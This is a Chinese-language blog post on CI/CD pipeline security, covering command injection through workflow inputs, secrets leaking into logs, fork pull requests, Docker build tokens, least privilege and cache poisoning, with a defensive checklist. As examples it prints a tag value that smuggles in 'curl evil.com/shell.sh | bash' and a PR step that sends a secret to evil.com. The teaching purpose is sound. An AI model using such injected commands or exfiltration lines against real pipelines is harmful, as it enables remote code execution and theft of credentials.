CI/CD 不是自动化,是“自动暴露风险”?聊聊流水线安全那些你踩过却没意识到的坑

简介: CI/CD 不是自动化,是“自动暴露风险”?聊聊流水线安全那些你踩过却没意识到的坑

CI/CD 不是自动化,是“自动暴露风险”?聊聊流水线安全那些你踩过却没意识到的坑


说句扎心的实话:

现在很多团队的 CI/CD,不是提效工具,而是漏洞放大器

你本来只有一个服务能被攻击,
结果一条流水线,把:

  • Git 仓库
  • 构建环境
  • 云账号
  • 生产集群

全都串在了一起。

一旦被打穿——
👉 恭喜,直接“打包送走全家桶”。

今天咱就聊两个最容易被忽视、但最致命的问题:

👉 pipeline injection(流水线注入)
👉 凭证泄露(credential leakage)

我不讲教科书,就讲真实场景 + 怎么防。


一、最隐蔽的攻击:你以为是参数,其实是命令

很多人写 pipeline,习惯这么搞:

steps:
  - name: build
    run: |
      docker build -t myapp:${
   { github.event.inputs.tag }} .

表面上看:

👉 用户传个 tag,很正常

但如果攻击者传的是:

v1.0; curl evil.com/shell.sh | bash

那最终执行变成:

docker build -t myapp:v1.0; curl evil.com/shell.sh | bash .

👉 直接命令注入成功

这就是典型的:

👉 pipeline injection


正确姿势:不要相信任何输入

你要做的是“白名单 + 转义”,而不是“直接拼”。

方法一:严格校验

if [[ ! "$TAG" =~ ^[a-zA-Z0-9._-]+$ ]]; then
  echo "Invalid tag"
  exit 1
fi

方法二:不要用 shell 拼接

改成参数传递:

run: |
  docker build -t "myapp:${TAG}" .

👉 注意双引号,防止分号解析


二、你以为凭证是安全的,其实早就被打印出去了

这是我见过最多的事故类型。

比如:

env:
  AWS_SECRET_ACCESS_KEY: ${
   {
    secrets.AWS_SECRET_ACCESS_KEY }}

steps:
  - run: env

👉 恭喜你:

密钥直接出现在日志里了


更隐蔽一点的:

echo "Deploy with key: $AWS_SECRET_ACCESS_KEY"

👉 CI 日志:

永久保存 + 所有人可见


正确姿势:凭证要“最小暴露”

方法一:用平台内置 masking

比如 GitHub Actions 自动 mask:

echo "::add-mask::$AWS_SECRET_ACCESS_KEY"

方法二:只在需要的步骤注入

steps:
  - name: deploy
    env:
      AWS_SECRET_ACCESS_KEY: ${
   {
    secrets.AWS_SECRET_ACCESS_KEY }}
    run: deploy.sh

👉 不要全局 env


方法三:避免 echo / debug 打印

很多人喜欢:

set -x

👉 这玩意会打印所有命令(包括密钥)

👉 生产环境:

必须禁用


三、最容易被忽视的一点:PR 也能打你

很多团队开了:

👉 fork PR 自动触发 pipeline

这其实是个大坑。

攻击方式:

  1. 提交恶意 PR
  2. 修改 pipeline
  3. 窃取 secrets

真实例子:

- run: curl evil.com?key=$SECRET

只要 CI 在 PR 上跑:

👉 secrets 就被偷走了


正确做法:隔离信任边界

GitHub Actions:

on:
  pull_request:
    types: [opened, synchronize]

jobs:
  build:
    if: github.event.pull_request.head.repo.full_name == github.repository

👉 只允许“同仓库 PR”使用 secrets


四、容器构建阶段:你以为安全,其实已经被埋雷

Dockerfile 也是攻击面。

错误示范:

ARG TOKEN
RUN git clone https://$TOKEN@github.com/private/repo.git

👉 问题:

  • TOKEN 会进入镜像层
  • 可以被 docker history 查到

正确姿势:用 BuildKit secrets

DOCKER_BUILDKIT=1 docker build \
  --secret id=token,src=token.txt .
RUN --mount=type=secret,id=token \
    git clone https://$(cat /run/secrets/token)@github.com/private/repo.git

👉 优势:

  • 不进入镜像层
  • 构建后自动销毁

五、权限控制:别让 CI 拥有“上帝视角”

很多公司默认:

👉 CI 拥有全部权限

比如:

  • 可以删除生产资源
  • 可以访问所有云账号

这就是:

👉 最危险的设计


正确做法:最小权限原则(IAM)

比如 AWS:

{
   
  "Effect": "Allow",
  "Action": [
    "s3:PutObject"
  ],
  "Resource": "arn:aws:s3:::my-bucket/*"
}

👉 CI 只做一件事:

上传文件


六、再说一个很多人没意识到的坑:缓存污染

CI 常用缓存:

- uses: actions/cache@v3

但如果 key 可控:

key: ${
   {
    github.ref }}

👉 攻击者可以:

  • 写入恶意缓存
  • 下次构建被复用

正确姿势:

key: build-${
   {
    hashFiles('**/package-lock.json') }}

👉 缓存绑定内容,而不是输入


七、我自己的一个“踩坑总结”

说点真心话。

我以前也觉得:

👉 “流水线只是自动化,不是安全边界”

后来踩过一次事故:

  • CI 被注入命令
  • 拿到云密钥
  • 直接删资源

那一刻你会明白:

👉 CI/CD 本质是“最高权限入口”

因为它能:

  • 读代码
  • 用密钥
  • 操控生产

它比任何一个服务都“危险”。


八、给你一套实战 Checklist(建议收藏)

上线前,过一遍:

pipeline injection 防护

  • [ ] 所有输入做白名单校验
  • [ ] 不拼接 shell 命令
  • [ ] 使用参数化调用

凭证安全

  • [ ] 不打印 secrets
  • [ ] 不全局 env
  • [ ] 使用 masking
  • [ ] 禁用 set -x

PR 安全

  • [ ] fork PR 不使用 secrets
  • [ ] pipeline 修改需要 review

构建安全

  • [ ] 不在 Dockerfile 写明文 token
  • [ ] 使用 BuildKit secret

权限控制

  • [ ] CI 使用最小权限
  • [ ] 不使用 root / admin

结尾

很多团队天天在做:

👉 安全扫描
👉 漏洞修复

但却忽略了一个最致命的地方:

👉 流水线

你可以有再强的防火墙,
但只要 CI 被打穿——

👉 一切都是“内网操作”。

所以我一直说一句话:

👉 CI/CD 不是效率工具,它是你系统的“总闸门”。

门开着,谁都能进。

目录
相关文章
|
17天前
|
人工智能 安全 Linux
向日葵MCP服务上线魔搭:赋予AI“远程操控万物”的超能力
向日葵MCP服务正式上架魔搭社区!将成熟远控能力封装为AI可调用的标准化接口,支持跨平台(Win/macOS/Linux/鸿蒙)、软硬协同(含BIOS级控制与智能插座开机),赋予AI“数字手脚”,实现设备管理、远程操作、自动安装OpenClaw等全流程自动化,安全可控、开箱即用。
210 17
|
9天前
|
存储 安全 Java
你还在手动传包、靠“共享盘”发版本?Artifact Registry 才是依赖管理的终局答案!
你还在手动传包、靠“共享盘”发版本?Artifact Registry 才是依赖管理的终局答案!
191 16
|
20天前
|
人工智能 运维 应用服务中间件
当 AI 学会远程操控:向日葵 MCP Server 从配置到实战
向日葵MCP Server基于Anthropic提出的MCP协议,将成熟远程控制能力封装为AI可调用的标准接口,赋予大模型“动手能力”:支持跨设备远程操控、命令执行与智能桌面自动化,兼容Windows/macOS及Claude Code等主流AI平台,真正实现AI隔空办事。(239字)
277 9
|
10天前
|
人工智能 机器人 API
阿里云OpenClaw一键部署攻略+免费大模型配置教程
还在为本地部署OpenClaw环境配置头疼?阿里云推出一键部署方案:预装镜像、免写代码、24小时在线。结合百炼平台百万级免费Token,轻松拥有可执行文件处理、浏览器控制等自动化任务的AI助理,开箱即用!
315 10
|
9天前
|
消息中间件 Prometheus 监控
你还在“出问题才查日志”?用 Prometheus + Grafana,把大数据平台变成“会说话”的系统!
你还在“出问题才查日志”?用 Prometheus + Grafana,把大数据平台变成“会说话”的系统!
110 9
|
10天前
|
存储 运维 Linux
阿里云99元云服务器:2核2G+3M带宽+40G云盘,新购续费同价,个人开发者轻量级应用优选
阿里云推出的99元经济型e实例云服务器,配2核2G计算资源、3M带宽及40G企业级云盘,因高性价比受个人开发者及小微企业青睐。该实例不仅价格低至99元/年,还承诺“新购续费同价”至2027年3月31日,提供长期成本保障。产品具备企业级数据保护、灵活配置及全面生态融合等特点。
|
12天前
|
存储 安全 固态存储
2026阿里云服务器价格表:最新收费标准与38元1年、9.9元1个月、99元1年等活动价格参考
阿里云服务器收费标准涵盖实例配置、带宽及云盘三大核心组件,价格随规格、时长动态调整。2026年活动中推出多类优惠:轻量应用服务器2核4G低至9.9元/月、199元/年;经济型e实例2核2G 3M带宽99元/年;九代ECS(如计算型c9i 8核16G)年付低至6.4折。选购时需注意带宽与CPU/内存的匹配、云盘类型选择及实例适用场景。用户还可领取各种优惠券,在活动价基础上进一步减免,实现成本优化。
820 4
|
7天前
|
存储 人工智能 弹性计算
2026阿里云活动汇总:云服务器、AI产品、优惠券等十大核心活动内容简介
2026年阿里云热门活动汇总:涵盖开年焕新、快速部署OpenClaw、AI焕新季、99计划等。活动提供低至3折的云服务器、9.9元起的AI助理部署、千问大模型特惠等。用户可享受主机病毒防护、文件备份、免费试用超160款产品等权益。此外,还有大模型全量抵扣、GPU云服务器加速、精选AI产品组合购等优惠。活动旨在助力企业和开发者高效上云、降低成本、快速创新,实现数字化转型与AI应用落地。
278 4
|
12天前
|
Kubernetes Cloud Native jenkins
别再死磕 Jenkins 了:用 Tekton 搭云原生流水线,才是现在该走的路
别再死磕 Jenkins 了:用 Tekton 搭云原生流水线,才是现在该走的路
118 11
|
2天前
|
人工智能 弹性计算 自然语言处理
OpenClaw是什么?阿里云OpenClaw一键部署官方教程(原Clawdbot/Moltbot)
2026年,开源AI智能体OpenClaw(“龙虾AI”)爆火。它是一款遵循MIT开源协议的AI自动化引擎与个人助手平台,能将大模型从“对话”变为“执行任务”。其核心架构由网关、智能体、技能和记忆构成,可自主行动、跨平台协同且高度可扩展。阿里云提供官方镜像一键部署方案,新用户首月服务器成本9.9元,还有大模型免费额度。
298 21

热门文章

最新文章